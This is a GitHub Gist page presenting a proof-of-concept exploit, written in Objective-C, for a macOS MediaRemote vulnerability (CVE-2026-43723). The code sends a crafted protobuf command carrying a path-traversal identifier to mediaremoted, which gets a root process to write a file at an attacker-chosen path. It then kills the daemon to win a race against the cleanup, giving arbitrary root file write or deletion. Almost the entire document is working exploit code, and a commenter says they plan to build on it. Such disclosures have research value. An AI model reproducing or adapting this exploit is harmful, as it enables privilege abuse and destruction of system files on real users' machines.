Last active
August 4, 2026 08:04
-
-
Save rooootdev/786df35f46475763c4b8bcbece40aeb1 to your computer and use it in GitHub Desktop.
CVE-2026-43723. Technically an arbitrary root file write primitive, however, the cleanup path in MediaRemote deletes the file ca. 50ms after the write, so it effectively becomes an arbitrary root file deletion primitive.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // dotdot.m | |
| // dotdot | |
| // | |
| // Created by roooot on 03.08.26. | |
| // Copyright (C) 2026 roooot | |
| // | |
| // This program is free software: you can redistribute it and/or modify | |
| // it under the terms of the GNU Affero General Public License as published | |
| // by the Free Software Foundation, either version 3 of the License, or | |
| // (at your option) any later version. | |
| // | |
| // You can find the full license text at: | |
| // https://www.gnu.org/licenses/agpl-3.0.html | |
| // | |
| #include <Foundation/Foundation.h> | |
| #include <dlfcn.h> | |
| #include <sys/stat.h> | |
| #include <fcntl.h> | |
| #include <unistd.h> | |
| #include <time.h> | |
| #include <errno.h> | |
| #include <signal.h> | |
| static NSData *pb_field(int field, NSData *payload) { | |
| uint8_t tag = (field << 3) | 2; | |
| NSMutableData *d = [NSMutableData dataWithBytes:&tag length:1]; | |
| uint64_t len = payload.length; | |
| while (len >= 0x80) { uint8_t b = (len & 0x7f) | 0x80; [d appendBytes:&b length:1]; len >>= 7; } | |
| uint8_t b = len; [d appendBytes:&b length:1]; [d appendData:payload]; | |
| return d; | |
| } | |
| int dd_write(const char *identifier, const char *target) { | |
| FILE *fp = popen("pgrep mediaremoted", "r"); | |
| pid_t pid = 0; | |
| if (fp) { | |
| fscanf(fp, "%d", &pid); | |
| pclose(fp); | |
| } | |
| dlopen("/System/Library/PrivateFrameworks/MediaRemote.framework/MediaRemote", RTLD_NOW); | |
| typedef void (^res)(NSDictionary *); | |
| typedef void (*send_fn)(NSInteger, NSDictionary *, dispatch_queue_t, res); | |
| send_fn fn = (send_fn)dlsym(RTLD_DEFAULT, "MRMediaRemoteSendCommand"); | |
| if (!fn) return 1; | |
| NSData *marker = [NSData dataWithBytes:"roooot_was_here\n" length:48]; | |
| NSMutableData *proto = [NSMutableData dataWithData:pb_field(1, marker)]; | |
| [proto appendData:pb_field(2, [[NSString stringWithUTF8String:identifier] dataUsingEncoding:NSUTF8StringEncoding])]; | |
| fn(136, @{ @"kMRMediaRemoteOptionPlaybackSessionData": proto }, dispatch_get_main_queue(), ^(NSDictionary *r){}); | |
| struct timespec appeared = {0}; | |
| BOOL saw_file = NO; | |
| for (;;) { | |
| struct stat st; | |
| if (stat(target , &st) == 0) { | |
| if (!saw_file) { | |
| clock_gettime(CLOCK_MONOTONIC, &appeared); | |
| saw_file = YES; | |
| if (kill(pid, SIGKILL) == 0) printf("(dd) killed %d\n", pid); | |
| printf("(dd) file appeared\n"); | |
| } | |
| struct timespec now; | |
| clock_gettime(CLOCK_MONOTONIC, &now); | |
| double elapsed_ms = (now.tv_sec - appeared.tv_sec) * 1000.0 + (now.tv_nsec - appeared.tv_nsec) / 1e6; | |
| if (elapsed_ms > 5.0) { | |
| printf("(dd) race won!\n"); | |
| return 1; | |
| } | |
| } else if (saw_file && errno == ENOENT) { | |
| struct timespec gone; | |
| clock_gettime(CLOCK_MONOTONIC, &gone); | |
| double elapsed = (gone.tv_sec - appeared.tv_sec) + (gone.tv_nsec - appeared.tv_nsec) / 1e9; | |
| printf("(dd) file deleted after %.6f seconds (%.3f ms)\n", elapsed, elapsed * 1000.0); | |
| return 0; | |
| } | |
| } | |
| return 1; | |
| } | |
| int main(void) { | |
| @autoreleasepool { | |
| char target[] = "/private/tmp/roooot_was_here"; | |
| char identifier[] = "../../../../../../../private/tmp/roooot_was_here"; | |
| printf("(dd) writing to %s\n", target); | |
| return dd_write(identifier, target); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
thanks, i'll get some stuff working with this...